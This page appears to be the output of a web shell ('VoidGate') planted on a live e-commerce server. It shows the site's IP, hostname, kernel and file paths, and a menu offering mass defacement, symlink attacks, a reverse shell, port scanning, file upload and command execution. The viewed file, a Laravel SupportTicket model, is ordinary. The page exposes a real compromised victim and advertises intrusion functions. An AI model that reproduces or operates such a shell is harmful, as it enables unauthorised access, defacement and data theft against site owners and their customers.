ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Models
/
Viewing: SupportTicket.php
<?php namespace App\Models; use App\Traits\StorageTrait; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Support\Carbon; /** * Class SupportTicket * * @property int $id * @property int|null $customer_id * @property string|null $subject * @property string|null $type * @property string $priority * @property string|null $description * @property array|null $attachment * @property string|null $reply * @property string $status * @property Carbon|null $created_at * @property Carbon|null $updated_at * * @package App\Models */ class SupportTicket extends Model { use StorageTrait; protected $fillable = [ 'customer_id', 'subject', 'type', 'priority', 'description', 'reply', 'status', 'created_at', 'updated_at', 'attachment' ]; protected $casts = [ 'id' => 'integer', 'customer_id' => 'integer', 'priority' => 'string', 'status' => 'string', 'created_at' => 'datetime', 'updated_at' => 'datetime', 'attachment' => 'array' ]; public function conversations(): HasMany { return $this->hasMany(SupportTicketConv::class); } public function getAttachmentFullUrlAttribute():array|null { $images = []; $value = $this->attachment; if ($value){ foreach ($value as $item){ $item = isset($item['file_name']) ? (array)$item : ['file_name' => $item, 'storage' => 'public']; $images[] = $this->storageLink('support-ticket',$item['file_name'],$item['storage'] ?? 'public'); } } return $images; } protected $appends = ['attachment_full_url']; public function customer(): BelongsTo { return $this->belongsTo(User::class, 'customer_id'); } }
Coded With 💗 by
0x6ick